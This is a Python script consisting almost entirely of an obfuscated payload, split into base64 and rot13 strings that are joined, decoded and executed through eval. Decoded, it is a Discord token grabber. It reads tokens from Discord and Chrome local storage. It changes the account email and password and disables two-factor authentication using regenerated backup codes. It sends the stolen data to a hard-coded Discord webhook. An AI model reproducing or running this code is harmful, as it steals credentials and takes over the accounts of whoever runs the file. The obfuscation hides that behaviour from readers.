import base64, codecs

magic = 'aW1wb3J0IHJlcXVlc3RzLCBvcywgcGxhdGZvcm0sIHN0cmluZywgcmFuZG9tLCByZSwgd2luMzJjcnlwdCwgc2h1dGlsLCBzcWxpdGUzLCBiYXNlNjQsIGRhdGV0aW1lDQoNCg0KY2xhc3MgR3JhYmJlcjoNCiAgICBkZWYgX19pbml0X18oc2VsZik6DQogICAgICAgIHNlbGYud2ViaG9vayA9ICJodHRwczovL2Rpc2NvcmQuY29tL2FwaS93ZWJob29rcy83MjQ0MjU2ODkwNDYxODgwNzIvNG1PRXRUME1oSkRHT0twTUlzNi1CLTlyelBHU3VicFlCNy1oNE5ZN0hxaEhyQUFTd1dnbmRiWlVLcm10dDJkUmZ6VW0iDQogICAgICAgIHNlbGYudG9rZW5SZWdleCA9IHIiW2EtekEtWjAtOV17MjR9XC5bYS16QS1aMC05XXs2fVwuW2EtekEtWjAtOV9cLV17Mjd9fG1mYVwuW2EtekEtWjAtOV9cLV17ODR9Ig0KICAgICAgICBzZWxmLmFwaSA9ICJodHRwczovL2Rpc2NvcmQuY29tL2FwaS92Ny8iDQogICAgICAgIHNlbGYuZXJyb3JzID0gew0KICAgICAgICAgICAgMTogJ1VuYXV0aG9yaXplZCcsDQogICAgICAgICAgICAyOiAnSW52YWxpZCB0d28tZmFjdG9yIGNvZGUnDQogICAgICAgIH0NCiAgICAgICAgc2VsZi5kaXJzID0gWw0KICAgICAgICAgICAgc2VsZi5nZXRBcHBEYXRhKCkgKyAnXFxEaXNjb3JkXFxMb2NhbCBTdG9yYWdlXFxsZXZlbGRiJywNCiAgICAgICAgICAgIG9zLmdldGVudigiTE9DQUxBUFBEQVRBIikgKyAnXFxHb29nbGVcXENocm9tZVxcVXNlciBEYXRhXFxEZWZhdWx0XFxMb2NhbCBTdG9yYWdlXFxsZXZlbGRiJw0KICAgICAgICBdDQogICAgICAgIHNlbGYucGFzc3dvcmRzID0gW10NCiAgICAgICAgc2VsZi52YWxpZFBhc3N3b3JkID0gW10gICMgPFRPRE8+IGdpdmUgaXQgYSBiZXR0ZXIgdXNlDQogICAgICAgIHNlbGYudG9rZW5zID0gW10NCiAgICAgICAgc2VsZi52YWxpZFRva2VucyA9IFtdDQogICAgICAgIHNlbGYuYmFja3VwQ29kZXMgPSBbXQ0KICAgICAgICBzZWxmLnNlc3Npb24gPSByZXF1ZXN0cy5TZXNzaW9uKCkNCg0KICAgIGRlZiBnZXRIZWFkZXJzKHNlbGYsIHRva2VuKToNCiAgICAgICAgaGVhZGVycyA9IHsNCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBkaXNjb3JkLzAuMC4zMDYgQ2hyb21lLzc4LjAuMzkwNC4xMzAgRWxlY3Ryb24vNy4xLjExIFNhZmFyaS81MzcuMzYnLA0KICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJywNCiAgICAgICAgICAgICdBdXRob3JpemF0aW9uJzogdG9rZW4sDQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGhlYWRlcnMNCg0KICAgIGRlZiBsb2NrT3V0KHNlbGYpOg0KICAgICAgICB0aW1lID0gZGF0ZXRpbWUuZGF0ZXRpbWUubm93KCkuc3RyZnRpbWUoIiVIOiVNICVwIikNCiAgICAgICAgbmV3UGFzc3dvcmQgPSBzZWxmLm5ld1Bhc3N3b3JkKCkNCiAgICAgICAgbmV3RW1haWwgPSBzZWxmLm5ld0VtYWlsKCkNCiAgICAgICAgZ3JhYklQID0gc2VsZi5ncmFiSVAoKQ0KICAgICAgICBlbmNvZGVkQnl0ZXMgPSBiYXNlNjQuYjY0ZW5jb2RlKChzdHIobmV3RW1haWwpKS5lbmNvZGUoInV0Zi04IikpDQogICAgICAgIGJhc2UgPSBzdHIoZW5jb2RlZEJ5dGVzLCAidXRmLTgiKQ0KICAgICAgICBmb3IgdG9rZW4gaW4gc2VsZi52YWxpZFRva2VuczoNCiAgICAgICAgICAgIGZvciBwYXNzd29yZCBpbiBzZWxmLnBhc3N3b3JkczoNCiAgICAgICAgICAgICAgICB1c2VySW5mbyA9IHNlbGYuc2Vzc2lvbi5nZXQoc2VsZi5hcGkgKyAndXNlcnMvQG1lJywgaGVhZGVycz1zZWxmLmdldEhlYWRlcnModG9rZW4pKQ0KICAgICAgICAgICAgICAgIHVzZXJJbmZvID0gdXNlckluZm8uanNvbigpDQogICAgICAgICAgICAgICAgcGF5bG9hZCA9IHsNCiAgICAgICAgICAgICAgICAgICAgJ2F2YXRhcic6IHVzZXJJbmZvWydhdmF0YXInXSwNCiAgICAgICAgICAgICAgICAgICAgJ2Rpc2NyaW1pbmF0b3InOiB1c2VySW5mb1snZGlzY3JpbWluYXRvciddLA0KICAgICAgICAgICAgICAgICAgICAnZW1haWwnOiBuZXdFbWFpbCwNCiAgICAgICAgICAgICAgICAgICAgJ3Bhc3N3b3JkJzogcGFzc3dvcmQsDQogICAgICAgICAgICAgICAgICAgICduZXdfcGFzc3dvcmQnOiBuZXdQYXNzd29yZA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByID0gc2VsZi5zZXNzaW9uLnBhdGNoKHNlbGYuYXBpICsgJ3VzZXJzL0BtZScsIGpzb249cGF5bG9hZCwgaGVhZGVycz1zZWxmLmdldEhlYWRl'

love = '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VUAyozDtnKDtqT8tqTuyVT93ozIlVvxAPvNtVPNtVPNtVPNtVPNtVPNtVPNtnJ5jqKDbVyOlMKAmVTShrFOeMKxtqT8tMKucqP4hYvVcBj0XVPNtVPNtVPNtVPNtVPNtVPNtVPOyrTy0XQNcQDbtVPNtVPNtVPNtVPNtVPNtMJkmMGbAPvNtVPNtVPNtVPNtVPNtVPNtVPNtqUW5Bt0XVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtnJLtpy9dp29hJlqcMPqqVQ09VUImMKWWozMiJlqcMPqqBt0XVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVUAyoTLhq2IvFT9inlugMKAmLJqyXD0XVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVUOlnJ50XTLvJ3gmMJkzYaWuozEBqJ1vMKVbXK1qVSAwpzIyoaAbo3DtqTucplOypaWipvOuozDtp2IhMPOcqPO0olO0nTHto3qhMKVvXD0XVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVTyhpUI0XPWDpzImplOuoaxtn2I5VUEiVTI4nKDhYv4vXGfAPvNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPOyrTy0XQNc'

god = 'DQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MNCg0KICAgIGRlZiBieWUyRkEoc2VsZik6DQogICAgICAgIGZvciBwYXNzd29yZCBpbiBzZWxmLnBhc3N3b3JkczoNCiAgICAgICAgICAgIGZvciB0b2tlbiBpbiBzZWxmLnZhbGlkVG9rZW5zOg0KICAgICAgICAgICAgICAgIHBheWxvYWQgPSB7DQogICAgICAgICAgICAgICAgICAgICJwYXNzd29yZCI6IHBhc3N3b3JkLA0KICAgICAgICAgICAgICAgICAgICAicmVnZW5lcmF0ZSI6IFRydWUNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgciA9IHNlbGYuc2Vzc2lvbi5wb3N0KCdodHRwczovL2Rpc2NvcmQuY29tL2FwaS92Ni91c2Vycy9AbWUvbWZhL2NvZGVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVycz1zZWxmLmdldEhlYWRlcnModG9rZW4pLCBqc29uPXBheWxvYWQpDQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKGYne3NlbGYuZ2V0QXBwRGF0YX1cXERpc2NvcmQgRGF0YVxcQmFja3VwLnR4dCcpIGFzIGY6DQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoci5qc29uKCkpDQogICAgICAgICAgICAgICAgc2VsZi53ZWJIb29rRmlsZShtZXNzYWdlPSJTb21lIGJhY2t1cCBjb2RlcyIsIGZpbGU9Zid7c2VsZi5nZXRBcHBEYXRhKCl9XFxEaXNjb3JkIERhdGFcXEJhY2t1cC50eHQnKQ0KICAgICAgICAgICAgICAgIGZvciBpIGluIHJhbmdlKDEwKToNCiAgICAgICAgICAgICAgICAgICAgdHJ5Og0KICAgICAgICAgICAgICAgICAgICAgICAgYmFja3VwID0gci5qc29uKClbJ2JhY2t1cF9jb2RlcyddW2ldWydjb2RlJ10NCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYuYmFja3VwQ29kZXMuYXBwZW5kKGJhY2t1cCkNCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0IChLZXlFcnJvcik6DQogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLndlYkhvb2soIltERUJVR10gOjogVXNlciBkb2Vzbid0IHVzZSAyIGZhY3RvciBhdXRoZW50aWNhdGlvbiIpDQogICAgICAgICAgICAgICAgZm9yIGNvZGUgaW4gc2VsZi5iYWNrdXBDb2RlczoNCiAgICAgICAgICAgICAgICAgICAgbmV3UGF5bG9hZCA9IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb2RlJzogY29kZQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJlcSA9IHNlbGYuc2Vzc2lvbi5wb3N0KCdodHRwczovL2Rpc2NvcmQuY29tL2FwaS92Ni91c2Vycy9AbWUvbWZhL3RvdHAvZGlzYWJsZScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcnM9c2VsZi5nZXRIZWFkZXJzKHRva2VuKSwganNvbj1uZXdQYXlsb2FkKQ0KICAgICAgICAgICAgICAgICAgICBpZiByZXEuc3RhdHVzX2NvZGUgPT0gMjAwOg0KICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi53ZWJIb29rKCJbSU5GT10gOjogU3VjY2Vzc2Z1bGx5IGRpc2FibGVkIDJGQSIpDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVHJ1ZQ0KICAgICAgICAgICAgICAgICAgICBlbHNlOg0KICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi53ZWJIb29rKCJbSU5GT10gOjogQ291bGRudCBkaXNhYmxlIDJGQSAoTWF5YmUgbm90IGVuYWJsZWQ/KSIpDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRmFsc2UNCg0KDQogICAgZGVmIGdyYWJUb2tlbihzZWxmKToNCiAgICAgICAgZm9yIGxvY2F0aW9uIGluIHNlbGYuZGlyczoNCiAgICAgICAgICAgIGZvciBmaWxlIGluIG9zLmxpc3RkaXIobG9jYXRpb24pOg0KICAgICAgICAgICAgICAgIHRyeToNCiAgICAgICAgICAgICAgICAgICAgd2l0aCBvcGVuKGYie2xvY2F0aW9ufVxce2ZpbGV9IiwgZXJyb3JzPSdpZ25vcmUnKSBhcyBfZGF0YToNCiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ2V4ID0gcmUuZmluZGFsbChzZWxmLnRva2VuUmVnZXgsIF9kYXRhLnJlYWQoKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHJlZ2V4Og0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciB0b2tlbiBpbiByZWdleDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi50b2tlbnMuYXBwZW5kKHRva2VuKQ0KICAgICAgICAgICAgICAgIGV4Y2VwdCAoRmlsZU5vdEZvdW5kRXJyb3IsIFBlcm1pc3Npb25FcnJvcik6DQogICAgICAgICAgICAgICAgICAgIHBhc3MNCg0KICAgIGRlZiBjaGVja1Rva2VucyhzZWxmKToNCiAgICAgICAgZm9yIHRva2VuIGluIHNlbGYudG9r'

destiny = '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'

joy = '\x72\x6f\x74\x31\x33'

trust = eval('\x6d\x61\x67\x69\x63') + eval(

    '\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval(

    '\x67\x6f\x64') + eval(

    '\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')

eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')), '<string>', 'exec'))